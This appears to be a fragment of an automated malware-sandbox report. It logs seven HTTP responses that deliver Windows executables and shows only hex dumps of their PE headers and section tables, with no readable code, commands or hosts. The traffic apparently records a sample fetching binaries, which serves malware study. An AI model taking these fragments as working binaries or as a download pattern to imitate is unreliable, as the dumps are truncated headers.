00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:04 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:09 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 23 Apr 2024 07:38:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 15 Mar 2024 11:59:56 GMTETag: "4a4030-613b1bf118700"Accept-Ranges: bytesContent-Length: 4866096Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 84 e1 90 58 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 c4 35 00 00 50 14 00 00 00 00 00 60 d5 35 00 00 10 00 00 00 e0 35 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 60 c3 4a 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 37 00 9c 4e 00 00 00 d0 3c 00 eb fe 0d 00 00 00 00 00 00 00 00 00 00 18 4a 00 30 28 00 00 00 30 38 00 84 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 38 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 be 37 00 e0 0b 00 00 00 00 38 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 85 35 00 00 10 00 00 00 86 35 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 3c 3d 00 00 00 a0 35 00 00 3e 00 00 00 8a 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 b0 56 01 00 00 e0 35 00 00 58 01 00 00 c8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 8c 6d 00 00 00 40 37 00 00 00 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9c 4e 00 00 00 b0 37 00 00 50 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 d2 09 00 00 00 00 38 00 00 0a 00 00 00 70 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 40 00 00 00 00 10 38 00 00 00 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 38 00 00 02 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 9a 04 00 00 30 38 00 00 9c 04 00 00 7c 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 eb fe 0d 00 00 d0 3c 00 00 00 0e 00 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:11 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:13 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:18 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:38:23 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
